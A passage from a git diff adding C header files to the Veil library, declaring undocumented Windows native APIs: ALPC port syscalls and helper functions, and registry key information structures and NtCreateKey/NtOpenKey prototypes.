+); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcDeletePortSection( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE SectionHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcDeletePortSection( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE SectionHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCreateResourceReserve( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ SIZE_T MessageSize, + _Out_ PALPC_HANDLE ResourceId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcCreateResourceReserve( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ SIZE_T MessageSize, + _Out_ PALPC_HANDLE ResourceId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcDeleteResourceReserve( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ResourceId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcDeleteResourceReserve( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ResourceId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCreateSectionView( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _Inout_ PALPC_DATA_VIEW_ATTR ViewAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcCreateSectionView( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _Inout_ PALPC_DATA_VIEW_ATTR ViewAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcDeleteSectionView( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ PVOID ViewBase +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcDeleteSectionView( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ PVOID ViewBase +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCreateSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _Inout_ PALPC_SECURITY_ATTR SecurityAttribute +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcCreateSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _Inout_ PALPC_SECURITY_ATTR SecurityAttribute +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcDeleteSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ContextHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcDeleteSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ContextHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcRevokeSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ContextHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcRevokeSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ContextHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcQueryInformationMessage( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ALPC_MESSAGE_INFORMATION_CLASS MessageInformationClass, + _Out_writes_bytes_to_opt_(Length, *ReturnLength) PVOID MessageInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcQueryInformationMessage( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ALPC_MESSAGE_INFORMATION_CLASS MessageInformationClass, + _Out_writes_bytes_to_opt_(Length, *ReturnLength) PVOID MessageInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength +); + +#define ALPC_MSGFLG_REPLY_MESSAGE 0x1 +#define ALPC_MSGFLG_LPC_MODE 0x2 // ? +#define ALPC_MSGFLG_RELEASE_MESSAGE 0x10000 // dbg +#define ALPC_MSGFLG_SYNC_REQUEST 0x20000 // dbg +#define ALPC_MSGFLG_WAIT_USER_MODE 0x100000 +#define ALPC_MSGFLG_WAIT_ALERTABLE 0x200000 +#define ALPC_MSGFLG_WOW64_CALL 0x80000000 // dbg + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_ ULONG Flags, + _In_opt_ PSID RequiredServerSid, + _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage, + _Inout_opt_ PULONG BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_ ULONG Flags, + _In_opt_ PSID RequiredServerSid, + _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage, + _Inout_opt_ PULONG BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcConnectPortEx( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ConnectionPortObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ClientPortObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_ ULONG Flags, + _In_opt_ PSECURITY_DESCRIPTOR ServerSecurityRequirements, + _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage, + _Inout_opt_ PSIZE_T BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcConnectPortEx( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ConnectionPortObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ClientPortObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_ ULONG Flags, + _In_opt_ PSECURITY_DESCRIPTOR ServerSecurityRequirements, + _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage, + _Inout_opt_ PSIZE_T BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_ HANDLE ConnectionPortHandle, + _In_ ULONG Flags, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_opt_ PVOID PortContext, + _In_reads_bytes_(ConnectionRequest->u1.s1.TotalLength) PPORT_MESSAGE ConnectionRequest, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ConnectionMessageAttributes, + _In_ BOOLEAN AcceptConnection +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_ HANDLE ConnectionPortHandle, + _In_ ULONG Flags, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_opt_ PVOID PortContext, + _In_reads_bytes_(ConnectionRequest->u1.s1.TotalLength) PPORT_MESSAGE ConnectionRequest, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ConnectionMessageAttributes, + _In_ BOOLEAN AcceptConnection +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcSendWaitReceivePort( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_reads_bytes_opt_(SendMessage->u1.s1.TotalLength) PPORT_MESSAGE SendMessage, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes, + _Out_writes_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ReceiveMessage, + _Inout_opt_ PSIZE_T BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcSendWaitReceivePort( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_reads_bytes_opt_(SendMessage->u1.s1.TotalLength) PPORT_MESSAGE SendMessage, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes, + _Out_writes_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ReceiveMessage, + _Inout_opt_ PSIZE_T BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout +); + +#define ALPC_CANCELFLG_TRY_CANCEL 0x1 // dbg +#define ALPC_CANCELFLG_NO_CONTEXT_CHECK 0x8 +#define ALPC_CANCELFLGP_FLUSH 0x10000 // dbg + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCancelMessage( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_ PALPC_CONTEXT_ATTR MessageContext +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcCancelMessage( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_ PALPC_CONTEXT_ATTR MessageContext +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcImpersonateClientOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ PVOID Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcImpersonateClientOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ PVOID Flags +); + +#if (NTDDI_VERSION >= NTDDI_WIN10) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcImpersonateClientContainerOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcImpersonateClientContainerOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG Flags +); +#endif // NTDDI_VERSION >= NTDDI_WIN10 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcOpenSenderProcess( + _Out_ PHANDLE ProcessHandle, + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ULONG Flags, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcOpenSenderProcess( + _Out_ PHANDLE ProcessHandle, + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ULONG Flags, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcOpenSenderThread( + _Out_ PHANDLE ThreadHandle, + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ULONG Flags, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcOpenSenderThread( + _Out_ PHANDLE ThreadHandle, + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ULONG Flags, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +// +// Support functions +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +ULONG +NTAPI +AlpcMaxAllowedMessageLength( + VOID +); + +NTSYSAPI +ULONG +NTAPI +AlpcGetHeaderSize( + _In_ ULONG Flags +); + +#define ALPC_ATTRFLG_ALLOCATEDATTR 0x20000000 +#define ALPC_ATTRFLG_VALIDATTR 0x40000000 +#define ALPC_ATTRFLG_KEEPRUNNINGATTR 0x60000000 + +NTSYSAPI +NTSTATUS +NTAPI +AlpcInitializeMessageAttribute( + _In_ ULONG AttributeFlags, + _Out_opt_ PALPC_MESSAGE_ATTRIBUTES Buffer, + _In_ ULONG BufferSize, + _Out_ PULONG RequiredBufferSize +); + +NTSYSAPI +PVOID +NTAPI +AlpcGetMessageAttribute( + _In_ PALPC_MESSAGE_ATTRIBUTES Buffer, + _In_ ULONG AttributeFlag +); + +NTSYSAPI +NTSTATUS +NTAPI +AlpcRegisterCompletionList( + _In_ HANDLE PortHandle, + _Out_ PALPC_COMPLETION_LIST_HEADER Buffer, + _In_ ULONG Size, + _In_ ULONG ConcurrencyCount, + _In_ ULONG AttributeFlags +); + +NTSYSAPI +NTSTATUS +NTAPI +AlpcUnregisterCompletionList( + _In_ HANDLE PortHandle +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +AlpcRundownCompletionList( + _In_ HANDLE PortHandle +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +AlpcAdjustCompletionListConcurrencyCount( + _In_ HANDLE PortHandle, + _In_ ULONG ConcurrencyCount +); + +NTSYSAPI +BOOLEAN +NTAPI +AlpcRegisterCompletionListWorkerThread( + _Inout_ PVOID CompletionList +); + +NTSYSAPI +BOOLEAN +NTAPI +AlpcUnregisterCompletionListWorkerThread( + _Inout_ PVOID CompletionList +); + +NTSYSAPI +VOID +NTAPI +AlpcGetCompletionListLastMessageInformation( + _In_ PVOID CompletionList, + _Out_ PULONG LastMessageId, + _Out_ PULONG LastCallbackId +); + +NTSYSAPI +ULONG +NTAPI +AlpcGetOutstandingCompletionListMessageCount( + _In_ PVOID CompletionList +); + +NTSYSAPI +PPORT_MESSAGE +NTAPI +AlpcGetMessageFromCompletionList( + _In_ PVOID CompletionList, + _Out_opt_ PALPC_MESSAGE_ATTRIBUTES* MessageAttributes +); + +NTSYSAPI +VOID +NTAPI +AlpcFreeCompletionListMessage( + _Inout_ PVOID CompletionList, + _In_ PPORT_MESSAGE Message +); + +NTSYSAPI +PALPC_MESSAGE_ATTRIBUTES +NTAPI +AlpcGetCompletionListMessageAttributes( + _In_ PVOID CompletionList, + _In_ PPORT_MESSAGE Message +); +#endif // !_KERNEL_MODE +#endif // Vista + + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.ConfigurationManager.h b/include/Veil/Veil/Veil.System.ConfigurationManager.h new file mode 100644 index 0000000..c3d84ed --- /dev/null +++ b/include/Veil/Veil/Veil.System.ConfigurationManager.h @@ -0,0 +1,1283 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +// Boot condition flags (NtInitializeRegistry) + +#define REG_INIT_BOOT_SM 0x0000 +#define REG_INIT_BOOT_SETUP 0x0001 +#define REG_INIT_BOOT_ACCEPTED_BASE 0x0002 +#define REG_INIT_BOOT_ACCEPTED_MAX REG_INIT_BOOT_ACCEPTED_BASE + 999 + +#define REG_MAX_KEY_VALUE_NAME_LENGTH 32767 +#define REG_MAX_KEY_NAME_LENGTH 512 + +#ifndef _KERNEL_MODE +typedef enum _KEY_INFORMATION_CLASS +{ + KeyBasicInformation, // KEY_BASIC_INFORMATION + KeyNodeInformation, // KEY_NODE_INFORMATION + KeyFullInformation, // KEY_FULL_INFORMATION + KeyNameInformation, // KEY_NAME_INFORMATION + KeyCachedInformation, // KEY_CACHED_INFORMATION + KeyFlagsInformation, // KEY_FLAGS_INFORMATION + KeyVirtualizationInformation, // KEY_VIRTUALIZATION_INFORMATION + KeyHandleTagsInformation, // KEY_HANDLE_TAGS_INFORMATION + KeyTrustInformation, // KEY_TRUST_INFORMATION + KeyLayerInformation, // KEY_LAYER_INFORMATION + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; + +typedef struct _KEY_BASIC_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, * PKEY_BASIC_INFORMATION; + +typedef struct _KEY_NODE_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG NameLength; + WCHAR Name[1]; + // ... + // WCHAR Class[1]; +} KEY_NODE_INFORMATION, * PKEY_NODE_INFORMATION; + +typedef struct _KEY_FULL_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; +} KEY_FULL_INFORMATION, * PKEY_FULL_INFORMATION; + +typedef struct _KEY_NAME_INFORMATION +{ + ULONG NameLength; + WCHAR Name[1]; +} KEY_NAME_INFORMATION, * PKEY_NAME_INFORMATION; + +typedef struct _KEY_CACHED_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + ULONG NameLength; + WCHAR Name[1]; +} KEY_CACHED_INFORMATION, * PKEY_CACHED_INFORMATION; +#endif //!_KERNEL_MODE + +// rev +#define REG_FLAG_VOLATILE 0x0001 +#define REG_FLAG_LINK 0x0002 + +// msdn +#define REG_KEY_DONT_VIRTUALIZE 0x0002 +#define REG_KEY_DONT_SILENT_FAIL 0x0004 +#define REG_KEY_RECURSE_FLAG 0x0008 + +// private +typedef struct _KEY_FLAGS_INFORMATION +{ + ULONG Wow64Flags; + ULONG KeyFlags; // REG_FLAG_* + ULONG ControlFlags; // REG_KEY_* +} KEY_FLAGS_INFORMATION, * PKEY_FLAGS_INFORMATION; + +#ifndef _KERNEL_MODE +typedef struct _KEY_VIRTUALIZATION_INFORMATION +{ + ULONG VirtualizationCandidate : 1; // Tells whether the key is part of the virtualization namespace scope (only HKLM\Software for now). + ULONG VirtualizationEnabled : 1; // Tells whether virtualization is enabled on this key. Can be 1 only if above flag is 1. + ULONG VirtualTarget : 1; // Tells if the key is a virtual key. Can be 1 only if above 2 are 0. Valid only on the virtual store key handles. + ULONG VirtualStore : 1; // Tells if the key is a part of the virtual store path. Valid only on the virtual store key handles. + ULONG VirtualSource : 1; // Tells if the key has ever been virtualized, can be 1 only if VirtualizationCandidate is 1. + ULONG Reserved : 27; +} KEY_VIRTUALIZATION_INFORMATION, * PKEY_VIRTUALIZATION_INFORMATION; + +// private +typedef struct _KEY_TRUST_INFORMATION +{ + ULONG TrustedKey : 1; + ULONG Reserved : 31; +} KEY_TRUST_INFORMATION, * PKEY_TRUST_INFORMATION; + +// private +typedef struct _KEY_LAYER_INFORMATION +{ + ULONG IsTombstone : 1; + ULONG IsSupersedeLocal : 1; + ULONG IsSupersedeTree : 1; + ULONG ClassIsInherited : 1; + ULONG Reserved : 28; +} KEY_LAYER_INFORMATION, * PKEY_LAYER_INFORMATION; + +typedef enum _KEY_SET_INFORMATION_CLASS +{ + KeyWriteTimeInformation, // KEY_WRITE_TIME_INFORMATION + KeyWow64FlagsInformation, // KEY_WOW64_FLAGS_INFORMATION + KeyControlFlagsInformation, // KEY_CONTROL_FLAGS_INFORMATION + KeySetVirtualizationInformation, // KEY_SET_VIRTUALIZATION_INFORMATION + KeySetDebugInformation, + KeySetHandleTagsInformation, // KEY_HANDLE_TAGS_INFORMATION + KeySetLayerInformation, // KEY_SET_LAYER_INFORMATION + MaxKeySetInfoClass +} KEY_SET_INFORMATION_CLASS; + +typedef struct _KEY_WRITE_TIME_INFORMATION +{ + LARGE_INTEGER LastWriteTime; +} KEY_WRITE_TIME_INFORMATION, * PKEY_WRITE_TIME_INFORMATION; + +typedef struct _KEY_WOW64_FLAGS_INFORMATION +{ + ULONG UserFlags; +} KEY_WOW64_FLAGS_INFORMATION, * PKEY_WOW64_FLAGS_INFORMATION; + +typedef struct _KEY_HANDLE_TAGS_INFORMATION +{ + ULONG HandleTags; +} KEY_HANDLE_TAGS_INFORMATION, * PKEY_HANDLE_TAGS_INFORMATION; + +typedef struct _KEY_SET_LAYER_INFORMATION +{ + ULONG IsTombstone : 1; + ULONG IsSupersedeLocal : 1; + ULONG IsSupersedeTree : 1; + ULONG ClassIsInherited : 1; + ULONG Reserved : 28; +} KEY_SET_LAYER_INFORMATION, * PKEY_SET_LAYER_INFORMATION; + +typedef struct _KEY_CONTROL_FLAGS_INFORMATION +{ + ULONG ControlFlags; +} KEY_CONTROL_FLAGS_INFORMATION, * PKEY_CONTROL_FLAGS_INFORMATION; + +typedef struct _KEY_SET_VIRTUALIZATION_INFORMATION +{ + ULONG VirtualTarget : 1; + ULONG VirtualStore : 1; + ULONG VirtualSource : 1; // true if key has been virtualized at least once + ULONG Reserved : 29; +} KEY_SET_VIRTUALIZATION_INFORMATION, * PKEY_SET_VIRTUALIZATION_INFORMATION; + +typedef enum _KEY_VALUE_INFORMATION_CLASS +{ + KeyValueBasicInformation, // KEY_VALUE_BASIC_INFORMATION + KeyValueFullInformation, // KEY_VALUE_FULL_INFORMATION + KeyValuePartialInformation, // KEY_VALUE_PARTIAL_INFORMATION + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, // KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 + KeyValueLayerInformation, // KEY_VALUE_LAYER_INFORMATION + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; + +typedef struct _KEY_VALUE_BASIC_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; +} KEY_VALUE_BASIC_INFORMATION, * PKEY_VALUE_BASIC_INFORMATION; + +typedef struct _KEY_VALUE_FULL_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; + // ... + // UCHAR Data[1]; +} KEY_VALUE_FULL_INFORMATION, * PKEY_VALUE_FULL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; +} KEY_VALUE_PARTIAL_INFORMATION, * PKEY_VALUE_PARTIAL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 +{ + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; +} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, * PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; + +// private +typedef struct _KEY_VALUE_LAYER_INFORMATION +{ + ULONG IsTombstone : 1; + ULONG Reserved : 31; +} KEY_VALUE_LAYER_INFORMATION, * PKEY_VALUE_LAYER_INFORMATION; +#endif //!_KERNEL_MODE + +// rev +typedef enum _KEY_LOAD_ENTRY_TYPE +{ + KeyLoadTrustClassKey = 1, + KeyLoadEvent, + KeyLoadToken +} KEY_LOAD_ENTRY_TYPE; + +// rev +typedef struct _KEY_LOAD_ENTRY +{ + KEY_LOAD_ENTRY_TYPE EntryType; + union + { + HANDLE Handle; + ULONG_PTR Value; + }; +} KEY_LOAD_ENTRY, * PKEY_LOAD_ENTRY; + +#ifndef _KERNEL_MODE +typedef struct _KEY_VALUE_ENTRY +{ + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; +} KEY_VALUE_ENTRY, * PKEY_VALUE_ENTRY; +#endif // !_KERNEL_MODE + +typedef enum _REG_ACTION +{ + KeyAdded, + KeyRemoved, + KeyModified +} REG_ACTION; + +typedef struct _REG_NOTIFY_INFORMATION +{ + ULONG NextEntryOffset; + REG_ACTION Action; + ULONG KeyLength; + WCHAR Key[1]; +} REG_NOTIFY_INFORMATION, * PREG_NOTIFY_INFORMATION; + +typedef struct _KEY_PID_ARRAY +{ + HANDLE ProcessId; + UNICODE_STRING KeyName; +} KEY_PID_ARRAY, * PKEY_PID_ARRAY; + +typedef struct _KEY_OPEN_SUBKEYS_INFORMATION +{ + ULONG Count; + KEY_PID_ARRAY KeyArray[1]; +} KEY_OPEN_SUBKEYS_INFORMATION, * PKEY_OPEN_SUBKEYS_INFORMATION; + +// System calls + +__kernel_entry __kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _Out_opt_ PULONG Disposition +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _Out_opt_ PULONG Disposition +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _In_ HANDLE TransactionHandle, + _Out_opt_ PULONG Disposition +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +ZwCreateKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _In_ HANDLE TransactionHandle, + _Out_opt_ PULONG Disposition +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI 